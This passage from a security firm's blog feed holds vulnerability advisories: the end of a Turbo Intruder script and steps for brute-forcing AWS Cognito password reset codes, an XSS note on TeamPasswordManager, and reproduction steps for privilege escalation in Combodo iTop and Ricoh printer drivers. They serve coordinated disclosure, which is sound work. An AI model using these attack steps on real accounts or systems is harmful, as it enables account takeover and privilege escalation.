&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-5" name="rest_code_b1abb3239d134933b31e065f7de8cee4-5" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-5"&gt;&lt;/a&gt;                           &lt;span class="n"&gt;requestsPerConnection&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-6" name="rest_code_b1abb3239d134933b31e065f7de8cee4-6" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-6"&gt;&lt;/a&gt;                           &lt;span class="n"&gt;pipeline&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-7" name="rest_code_b1abb3239d134933b31e065f7de8cee4-7" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-7"&gt;&lt;/a&gt;                           &lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-8" name="rest_code_b1abb3239d134933b31e065f7de8cee4-8" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-8"&gt;&lt;/a&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-9" name="rest_code_b1abb3239d134933b31e065f7de8cee4-9" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-9"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;# the 'gate' argument blocks the final byte of each request until openGate is invoked&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-10" name="rest_code_b1abb3239d134933b31e065f7de8cee4-10" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-10"&gt;&lt;/a&gt;    &lt;span class="n"&gt;area&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100100&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-11" name="rest_code_b1abb3239d134933b31e065f7de8cee4-11" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-11"&gt;&lt;/a&gt;    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;area&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tries&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;float&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tries&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)):&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-12" name="rest_code_b1abb3239d134933b31e065f7de8cee4-12" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-12"&gt;&lt;/a&gt;        &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zfill&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;gate&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'race1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-13" name="rest_code_b1abb3239d134933b31e065f7de8cee4-13" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-13"&gt;&lt;/a&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-14" name="rest_code_b1abb3239d134933b31e065f7de8cee4-14" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-14"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;# wait until every 'race1' tagged request is ready&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-15" name="rest_code_b1abb3239d134933b31e065f7de8cee4-15" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-15"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;# then send the final byte of each request&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-16" name="rest_code_b1abb3239d134933b31e065f7de8cee4-16" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-16"&gt;&lt;/a&gt;    &lt;span class="c1"&gt;# (this method is non-blocking, just like queue)&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-17" name="rest_code_b1abb3239d134933b31e065f7de8cee4-17" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-17"&gt;&lt;/a&gt;    &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;openGate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'race1'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-18" name="rest_code_b1abb3239d134933b31e065f7de8cee4-18" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-18"&gt;&lt;/a&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-19" name="rest_code_b1abb3239d134933b31e065f7de8cee4-19" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-19"&gt;&lt;/a&gt;    &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-20" name="rest_code_b1abb3239d134933b31e065f7de8cee4-20" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-20"&gt;&lt;/a&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-21" name="rest_code_b1abb3239d134933b31e065f7de8cee4-21" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-21"&gt;&lt;/a&gt;&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;handleResponse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;interesting&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;a id="rest_code_b1abb3239d134933b31e065f7de8cee4-22" name="rest_code_b1abb3239d134933b31e065f7de8cee4-22" href="https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/#rest_code_b1abb3239d134933b31e065f7de8cee4-22"&gt;&lt;/a&gt;    &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;ol class="arabic simple" start="15"&gt;
&lt;li&gt;&lt;p&gt;Click the "Attack" button.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;You should see all the HTTP responses after a while. Usually there are at least 20 answers that include the message &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt;. If you are lucky you can see up to 800 &lt;code class="docutils literal"&gt;code mismatch&lt;/code&gt; responses.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The attack can be repeated until one &lt;code class="docutils literal"&gt;limit exceeded&lt;/code&gt; response is triggered. When it is received, repeat the attack after waiting some time (for example an hour). If you get an answer saying the reset code expired, you have to start the entire attack from scratch.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;If you get an HTTP 200 answer, you successfully attacked the user account and reset the password.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h2&gt;Credits&lt;/h2&gt;
&lt;p&gt;This issue was found by Tobias Ospelt of Pentagrid AG. Pentagrid AG would also like to thank the AWS Security team for the collaboration on this issue.&lt;/p&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/password-reset-code-brute-force-vulnerability-in-AWS-Cognito/</guid><pubDate>Fri, 30 Apr 2021 08:00:00 GMT</pubDate></item><item><title>Security issues in TeamPasswordManager and Combodo iTop (CVE-2019-19461, CVE-2019-19821)</title><link>https://www.pentagrid.ch/de/blog/security_issues_in_teampasswordmanager_and_combodo_itop/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;figure&gt;&lt;img src="https://www.pentagrid.ch/images/default_preview_image.jpeg"&gt;&lt;/figure&gt; &lt;p&gt;In 2019 we looked at various products that are used by our customers. This post mentions two rather low hanging fruits that might be still important if the software is used due to their potential impact. These vulnerabilities affect TeamPasswordManager and Combodo iTop.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="teampasswordmanager"&gt;
&lt;h2&gt;TeamPasswordManager&lt;/h2&gt;
&lt;p&gt;The first issue we would like to mention briefly was a post-authentication stored Cross-site Scripting (XSS) in the TeamPasswordManager product (teampasswordmanager.com). CVE-2019-19461 has been assigned to this security problem, allowing an authenticated user to steal other user's passwords when a shared password entry is visited. For a password manager this is a severe security issue. All that was necessary for exploitation, was a user account and using some HTML tags in the password entry name. We sent the details to the vendor and &lt;a class="reference external" href="https://teampasswordmanager.com/docs/changelog/#7.103.208"&gt;they fixed it&lt;/a&gt;. As we later found out, this application had &lt;a class="reference external" href="https://www.qualys.com/2018/03/08/qualys-security-advisory-qsa-2018-03-08.pdf"&gt;several security issues in the past that were found by Qualys&lt;/a&gt;, but unfortunately no CVEs were assigned back then and therefore we didn't find them right away.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="combodo-itop"&gt;
&lt;h2&gt;Combodo iTop&lt;/h2&gt;
&lt;p&gt;Another product we looked at in 2019 was the Combodo iTop application. It uses the slogan "ITIL for all", provides a web interface that can be used for various business processes such as incident management and change management. The Combodo iTop is a web-based open-source software to support IT Service Management. It is widely used in small and large enterprises according to Combodo's website. As part of a larger scope of a security analysis, Pentagrid AG has briefly analysed the security of the Combodo iTop software and found an authorization vulnerability. By not following the HTTP Location header in server responses, regular authenticated users can access the web application with administrative privileges. This means we found a web application authorization bypass vulnerability that allows post-authentication privilege escalation in Combodo iTop (CVE-2019-19821).&lt;/p&gt;
&lt;section id="impact"&gt;
&lt;h3&gt;Impact&lt;/h3&gt;
&lt;p&gt;Authenticated users can browse and modify the web application as administrators. This includes access to all tickets, the inventory and other information of the organization and other users. This allows access to different functionality of the Configuration Management (e.g. IT inventory), Change Management (e.g. ticketing), Service Management (e.g. provider and SLA management) and potentially other functionality of iTop.&lt;/p&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N, 8.1 High&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h3&gt;Timeline&lt;/h3&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2019-12-10: Initial contact request sent to Combodo via contact form on Combodo website&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-10: Initial contact request sent to &lt;a class="reference external" href="mailto:itop-security@combodo.com"&gt;itop-security@combodo.com&lt;/a&gt; according to &lt;a class="reference external" href="https://github.com/Combodo/iTop/blob/develop/SECURITY.md"&gt;https://github.com/Combodo/iTop/blob/develop/SECURITY.md&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-11: Vulnerability details sent to Combodo&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-12: Combodo reproduced the vulnerability. The release iTop 2.7 will fix the issue end of March. Maintenance releases for iTop 2.5 and 2.6 are released in the meantime to fix the issues.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-01-07: Pentagrid informs Combodo that no maintenance release seems to be available yet, recommends early maintainance release to get high patch adoption rate on planned advisory release date (2020-03-10).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-03-11: Advisory public release&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h3&gt;Affected Components&lt;/h3&gt;
&lt;p&gt;The iTop web application was tested in version 2.3.1 build 2832 and in version 2.6.1 (unknown build), which were both affected. Other versions are likely to be affected as well.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h3&gt;Technical Details&lt;/h3&gt;
&lt;p&gt;While the server will respond with HTTP 302 redirect responses when administrative actions are attempted, the redirect will still include a large HTTP body, which constitutes of the entire administrative interface. Additionally, actions in the administrative interface are executed on the server side, meaning modification of the data is possible.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="exploitation"&gt;
&lt;h3&gt;Exploitation&lt;/h3&gt;
&lt;p&gt;To reproduce the vulnerability, the iTop web application needs to be installed and a regular user account is necessary. To prevent the browser from following redirects it is easiest to use a local proxy software between the browser and the server. Configuring a search and replace rule that deletes the "Location" HTTP response headers is enough to demonstrate the vulnerability.&lt;/p&gt;
&lt;p&gt;The iTop demonstration page that allows administrative and user access on the URL &lt;a class="reference external" href="https://www.combodo.com/itop-access-to-the-demonstration"&gt;https://www.combodo.com/itop-access-to-the-demonstration&lt;/a&gt; could be used to demonstrate the issue. When the search and replace rule in the local proxy software was active, a login as a portal user will automatically show the administrative interface.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h3&gt;Precondition&lt;/h3&gt;
&lt;p&gt;To exploit the vulnerability, an attacker needs access to the iTop web application as a regular user.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h3&gt;Patches and Workaround&lt;/h3&gt;
&lt;p&gt;iTop Professional and Essential 2.5.4 and 2.6.3 (dedicated to Combodo Clients) have been released on 2020-01-22. iTop 2.5.4 and 2.6.3 (for iTop Community) were released on 2020-02-05.&lt;/p&gt;
&lt;p&gt;iTop Professional and Essential 2.7.0 (dedicated to Combodo Clients) should be released on 2020-03-18. iTop 2.7.0 (for iTop Community) should be released on 2020-04-01.&lt;/p&gt;
&lt;p&gt;Web Application Firewalls could potentially be configured to strip all HTTP bodies from 302 redirect responses and therefore prevent sensitive information to be extracted in the most simple attack scenario. However, malicious modifications are still possible if such a mitigation is employed and other channels to leak sensitive information might exist.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="credits"&gt;
&lt;h3&gt;Credits&lt;/h3&gt;
&lt;p&gt;This vulnerability has been found by Tobias Ospelt of Pentagrid AG.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;</description><guid>https://www.pentagrid.ch/de/blog/security_issues_in_teampasswordmanager_and_combodo_itop/</guid><pubDate>Wed, 11 Mar 2020 09:00:00 GMT</pubDate></item><item><title>Local Privilege Escalation in many Ricoh Printer Drivers for Windows (CVE-2019-19363)</title><link>https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/</link><dc:creator>Pentagrid AG</dc:creator><description>&lt;p&gt;Pentagrid has been asked to  manage the coordinated disclosure process
for a vulnerability that affects several Windows printer drivers for a
wide  range of  printers  by  the printer  manufacture  Ricoh. Due  to
improperly  set  file permissions  of  file  system entries  that  are
installed when a printer is added  to a Windows system, any local user
is able to overwrite program library files (DLLs) with own code.&lt;/p&gt;
&lt;!-- TEASER_END --&gt;
&lt;section id="impact"&gt;
&lt;h2&gt;Impact&lt;/h2&gt;
&lt;p&gt;The improperly  protected library  files are  loaded by  the Windows
&lt;code class="docutils literal"&gt;PrintIsolationHost.exe&lt;/code&gt;,  which  is  a privileged  process  running  as
&lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt;. When an attacker overwrites library  files that are used in an
administrative   context,  the   library  code   gets  executed   with
administrative  privileges as  well.  Thus, the  attacker  is able  to
escalate privileges to &lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;As installing printers is not disallowed by  default on Domain
managed Windows computers,  this can be used as  a universal privilege
escalation as  long as  the vulnerable printer  drivers are  valid and
installed.&lt;/p&gt;
&lt;pre class="literal-block"&gt;CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 8.8 High&lt;/pre&gt;
&lt;/section&gt;
&lt;section id="timeline"&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;2019-10-17: Pentagrid has been asked to support the disclosure process, because the source was not successful in reporting this vulnerability to Ricoh.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-10-23: Asked @ricoheurope Twitter channel regarding a security contact. No response, yet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-10-29: Successfully established a contact with a Ricoh employee via LinkedIn. Other contact attempts via LinkedIn failed so far.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-10-29: Asked @AskRicoh Twitter channel regarding a security contact.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-10-31: Received two e-mail addresses as potential security contacts via LinkedIn contact.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-02: Initial contact with provided two Ricoh e-mail addresses.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-04: Received PSIRT contact address (&lt;a class="reference external" href="mailto:psirt@ricoh-usa.com"&gt;psirt@ricoh-usa.com&lt;/a&gt;).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-05: Sent preliminary advisory to PSIRT.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-05: @AskRicoh responded on Twitter.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-11-14: Response from Ricoh PSIRT with a timeline proposal and intended steps.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2019-12-05: CVE-2019-19363 has been assigned.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-01-22: Ricoh published an &lt;a class="reference external" href="https://www.ricoh.com/info/2020/0122_1/"&gt;advisory&lt;/a&gt;. Fixes and mitigations have not been verified, yet.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;2020-01-22: Advisory updated and published after 90 days of initial contact.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="affected-components"&gt;
&lt;h2&gt;Affected Components&lt;/h2&gt;
&lt;p&gt;Printer  drivers  for  Ricoh,  Savin and  Lanier  printer  brands  are
affected.  The  following drivers  for  Windows  10  are known  to  be
affected:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;SP 8300DN - PCL6 Driver for Universal Print, Ver.4.23.0.0,
release date 10/08/2019: &lt;a class="reference external" href="http://support.ricoh.com/bb/pub_e/dr_ut_e/0001315/0001315878/V42300/z87179L19.exe"&gt;http://support.ricoh.com/bb/pub_e/dr_ut_e/0001315/0001315878/V42300/z87179L19.exe&lt;/a&gt;
(SHA-256 064c1db754d43edbd8c9c23185b817d6 a29775c93c1049605f5d907a472d64ab)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;SP 8300DN - PCL 6 Driver, Ver.1.5.0.0, release date 07/03/2016:
&lt;a class="reference external" href="http://support.ricoh.com/bb/pub_e/dr_ut_e/0001294/0001294259/V1500/z75198L13.exe"&gt;http://support.ricoh.com/bb/pub_e/dr_ut_e/0001294/0001294259/V1500/z75198L13.exe&lt;/a&gt;
(SHA-256 af2fa42905850f58879816956d322dc5 adfb1f89fbe7f6af830f465fbc0e3cc1)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;P 501/502 - PCL 6 Driver, Ver.1.1.0.0, release date 03/02/2019:
&lt;a class="reference external" href="http://support.ricoh.com/bb/pub_e/dr_ut_e/0001311/0001311756/V1100/z84997L16.exe"&gt;http://support.ricoh.com/bb/pub_e/dr_ut_e/0001311/0001311756/V1100/z84997L16.exe&lt;/a&gt;
(SHA-256  564b27f16db12cafd15eec6057c75b3 0dbac25dbbebb4fd5598ad09dfaaad416)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MP C8003/C6503 series - PCL 6 Driver, Ver.1.2.0.0, release date 24/05/2017:
&lt;a class="reference external" href="http://support.ricoh.com/bb/pub_e/dr_ut_e/0001303/0001303915/V1200/z80159L15.exe"&gt;http://support.ricoh.com/bb/pub_e/dr_ut_e/0001303/0001303915/V1200/z80159L15.exe&lt;/a&gt;
(SHA-256  3ef2a1dc09e2dde71ed9db9f6c629ff 0140d172fbe71c9e376d391e3162090f0)&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Especially the Universal Print driver supports a wide range of printer
models. Furthermore, printers are also  marketed under the brand names
Savin and Lanier, which use  the same drivers.  Ricoh's advisory
&lt;a class="reference external" href="https://www.ricoh.com/info/2020/0122_1/list"&gt;lists affected drivers and versions&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="technical-details"&gt;
&lt;h2&gt;Technical Details&lt;/h2&gt;
&lt;p&gt;To reproduce  the vulnerability,  download an affected  printer driver
such  as  the  PCL6  Driver for  Universal  Print,  Version  4.23.0.0,
self-extract the executable file and install the driver. Add a printer. In a standard Windows installation, adding  a printer does not need an
administrator account.&lt;/p&gt;
&lt;p&gt;During  the  printer  setup,  the  process  of  &lt;code class="docutils literal"&gt;PrintIsolationHost.exe&lt;/code&gt;
creates  a directory  &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;c:\ProgramData\RICOH_DRV&lt;/span&gt;&lt;/code&gt;  and installs  several
files in this  location, including several DLL files.   Every user has
full control over the installed DLL files as show below, because these
files are writable:&lt;/p&gt;
&lt;pre class="literal-block"&gt;C:\&amp;gt;icacls "c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\*.dll"
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\borderline.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\headerfooter.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\jobhook.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\overlaywatermark.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\popup.dll Everyone:(I)(F)
c:\ProgramData\RICOH_DRV\RICOH PCL6 UniversalDriver V4.23\_common\dlz\watermark.dll Everyone:(I)(F)

Successfully processed 6 files; Failed processing 0 files&lt;/pre&gt;
&lt;p&gt;The flag  &lt;code class="docutils literal"&gt;F&lt;/code&gt; means  full access  and the flag  &lt;code class="docutils literal"&gt;I&lt;/code&gt; means  permissions are
inherited  from  the parent  directory.  The  inherited writable  flag
origins  from  a  parent  directory. In  fact,  the  entire  directory
&lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;c:\ProgramData\RICOH_DRV&lt;/span&gt;&lt;/code&gt; grants full control to everyone:&lt;/p&gt;
&lt;pre class="literal-block"&gt;C:\&amp;gt;icacls "c:\ProgramData\RICOH_DRV"
c:\ProgramData\RICOH_DRV Everyone:(OI)(CI)(F)

Successfully processed 1 files; Failed processing 0 files&lt;/pre&gt;
&lt;p&gt;Here &lt;code class="docutils literal"&gt;OI&lt;/code&gt; means Object Inherit, &lt;code class="docutils literal"&gt;CI&lt;/code&gt;  Container Inherit, and &lt;code class="docutils literal"&gt;F&lt;/code&gt; full access
as above.&lt;/p&gt;
&lt;p&gt;The &lt;a class="reference external" href="https://docs.microsoft.com/en-us/windows-hardware/drivers/print/printer-driver-isolation"&gt;printer isolation feature&lt;/a&gt; has been introduced in Windows 7 and Windows Server 2008 to not have the printer drivers in the same process as the spooler. The isolation should add stability for other user's print jobs.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="exploitation"&gt;
&lt;h2&gt;Exploitation&lt;/h2&gt;
&lt;p&gt;When a  DLL file from  the &lt;code class="docutils literal"&gt;&lt;span class="pre"&gt;c:\ProgramData\RICOH_DRV&lt;/span&gt;&lt;/code&gt; is  overwritten in
the  right  moment by  a  local  attacker, the  &lt;code class="docutils literal"&gt;PrintIsolationHost.exe&lt;/code&gt;
process  loads  the  attacker-provided  DLL   file  as  shown  in  the
screenshot  below.  Afterward, the  library  code  gets executed  with
&lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt;  privileges,  because  the &lt;code class="docutils literal"&gt;PrintIsolationHost.exe&lt;/code&gt;  uses  &lt;code class="docutils literal"&gt;SYSTEM&lt;/code&gt;
privileges. This attack  idea  has  been implemented  in  a proof  of
concept exploit that is given in a later section of this advisory.&lt;/p&gt;
&lt;img alt="/images/202001_Ricoh_Privilege_Escalation_Screenshot_Procmon_PoC_in_action.png" src="https://www.pentagrid.ch/images/202001_Ricoh_Privilege_Escalation_Screenshot_Procmon_PoC_in_action.png"&gt;
&lt;/section&gt;
&lt;section id="precondition"&gt;
&lt;h2&gt;Precondition&lt;/h2&gt;
&lt;p&gt;To exploit  the vulnerability, an  attacker needs access to  a Windows
host as a regular  user and must be able to  install an affected Ricoh
printer driver as  well as to add printers. Adding printers is usually possible without administrative access.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="patches-and-workaround"&gt;
&lt;h2&gt;Patches and Workaround&lt;/h2&gt;
&lt;p&gt;Please  refer  to  Ricoh's   advisory  for  mitigations  and  security
patches. Please refer to &lt;a class="reference internal" href="https://www.pentagrid.ch/de/blog/local-privilege-escalation-in-ricoh-printer-drivers-for-windows-cve-2019-19363/#updates"&gt;Updates&lt;/a&gt; below.&lt;/p&gt;
&lt;p&gt;Windows  Group  policies  are  a  potential  workaround.   When  group
policies  are used,  there is  a  group policy  to control  installing
printer  drivers  (Windows  Settings  -&amp;gt; Security  Settings  -&amp;gt;  Local
Policies -&amp;gt; Security Options -&amp;gt; Devices: Prevent Users From Installing
